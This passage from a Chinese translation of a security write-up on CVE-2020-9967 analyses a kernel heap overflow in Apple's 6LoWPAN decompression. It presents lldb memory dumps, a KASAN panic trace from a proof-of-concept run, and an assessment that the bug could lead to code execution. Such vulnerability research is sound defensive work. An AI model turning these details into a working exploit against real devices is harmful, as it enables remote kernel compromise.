frame #0: 0xffffff8012dfa1da kernel`sixxlowpan_uncompress [inlined] memmove(dst=0xffffff806f16f82b, src=0xffffff806f16f806, ulen=65529) at loose_ends.c:873:2 [opt] (lldb) register read General Purpose Registers: rax = 0x0000000000000000 rbx = 0x0000000000000000 rcx = 0xffffff8876c7bd28 rdx = 0x000000000000fff9 rdi = 0xffffff806f16f806 rsi = 0xffffff806f16f82b rbp = 0xffffff8876c7bcf0 rsp = 0xffffff8876c7bc30 r8 = 0xffffff8876c7bc38 r9 = 0xffffff8876c7bc40 r10 = 0x0000000000000000 r11 = 0x0000000000000003 r12 = 0x0000000000000028 r13 = 0x0000000000000003 r14 = 0xffffff8876c7bd28 r15 = 0xffffff806f16f803 rip = 0xffffff8012dfa1da kernel`sixxlowpan_uncompress + 298 [inlined] memmove at subrs.c:703 kernel`sixxlowpan_uncompress + 298 [inlined] __memmove_chk at sixxlowpan.c:853 kernel`sixxlowpan_uncompress + 298 at sixxlowpan.c:853 rflags = 0x0000000000000206 cs = 0x0000000000000008 fs = 0x0000000000000000 gs = 0x0000000000000000 Source: (lldb) x/20x 0xffffff806f16f806 0xffffff806f16f806: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffff806f16f816: 0x41414141 0x41414141 0x00000000 0x00000000 0xffffff806f16f826: 0x00000000 0x72750000 0x2d726569 0x68737570 0xffffff806f16f836: 0x7070612d 0x632e656c 0x612e6d6f 0x6e64616b 0xffffff806f16f846: 0x656e2e73 0x00002e74 0x00010005 0x62670c28 Dest: (lldb) x/20x 0xffffff806f16f82b 0xffffff806f16f82b: 0x69727500 0x702d7265 0x2d687375 0x6c707061 0xffffff806f16f83b: 0x6f632e65 0x6b612e6d 0x736e6461 0x74656e2e 0xffffff806f16f84b: 0x0500002e 0x28000100 0x2d62670c 0x72756f63 0xffffff806f16f85b: 0x2d726569 0x75700a34 0x612d6873 0x656c7070 0xffffff806f16f86b: 0x6d6f6303 0x616b6106 0x03736e64 0x0074656e
由于集群mbuf的长度仅为2048,并且以链接列表的方式链在一起,所以,将导致攻击者控制的数据能够破坏后续mbuf。
在KASAN内核上运行稍作修改的POC 2 (把41换成45),我们也可以看到发生了堆被破坏的现象,并且会触发nextptr的验证:
panic(cpu 0 caller 0xffffff80108f005e): slab_nextptr_panic: mcache.cl buffer 0xffffff806e4e4800 in slab 0xffffff801a0ed9d0 modified after free at offset 0: 0x45454545454545 out of range [0xffffff806e3b0000-0xffffff80723b0000) Backtrace (CPU 0), Frame : Return Address 0xffffff8881e8ece0 : 0xffffff800f88bd34 mach_kernel : _handle_debugger_trap + 0x384 0xffffff8881e8ed30 : 0xffffff800fc2598c mach_kernel : _kdp_i386_trap + 0x15c 0xffffff8881e8ed70 : 0xffffff800fc11a47 mach_kernel : _kernel_trap + 0xa87 0xffffff8881e8ee00 : 0xffffff800fc2c6e0 mach_kernel : trap_from_kernel + 0x26 0xffffff8881e8ee20 : 0xffffff800f88b62e mach_kernel : _DebuggerTrapWithState + 0x4e 0xffffff8881e8ef40 : 0xffffff8010ef9636 mach_kernel : _panic_trap_to_debugger.cold.1 + 0xa6 0xffffff8881e8ef90 : 0xffffff800f88c236 mach_kernel : _panic_trap_to_debugger + 0x156 0xffffff8881e8efe0 : 0xffffff8010ef9284 mach_kernel : _panic + 0x54 0xffffff8881e8f050 : 0xffffff80108f005e mach_kernel : _slab_nextptr_panic + 0x2de 0xffffff8881e8f0c0 : 0xffffff80108ee561 mach_kernel : _slab_alloc + 0x301 0xffffff8881e8f150 : 0xffffff80108d2e48 mach_kernel : _mbuf_slab_alloc + 0x1b8 0xffffff8881e8f2b0 : 0xffffff80108722ce mach_kernel : _mcache_alloc_ext + 0x92e 0xffffff8881e8f430 : 0xffffff80108d087d mach_kernel : _mbuf_cslab_alloc + 0x33d 0xffffff8881e8f5b0 : 0xffffff80108722ce mach_kernel : _mcache_alloc_ext + 0x92e 0xffffff8881e8f730 : 0xffffff8010872a23 mach_kernel : _mcache_alloc + 0xd3 0xffffff8881e8f800 : 0xffffff80108d729d mach_kernel : _m_getcl + 0x2d 0xffffff8881e8f8b0 : 0xffffff8010146ed9 mach_kernel : _sixlowpan_input + 0x119 0xffffff8881e8fa10 : 0xffffff8010120986 mach_kernel : _dlil_ifproto_input + 0x136 0xffffff8881e8fa70 : 0xffffff8010102ef3 mach_kernel : _dlil_input_packet_list_common + 0x2153 0xffffff8881e8fe70 : 0xffffff801012010d mach_kernel : _dlil_input_thread_cont + 0x2cd 0xffffff8881e8ffa0 : 0xffffff800fbf85be mach_kernel : _call_continuation + 0x2e
我们估计,由于写入的数据以及写入的长度均可控,因此,该漏洞有可能转化为代码执行漏洞。
本文翻译自:https://alexplaskett.github.io/CVE-2020-9967/如若转载,请注明原文地址: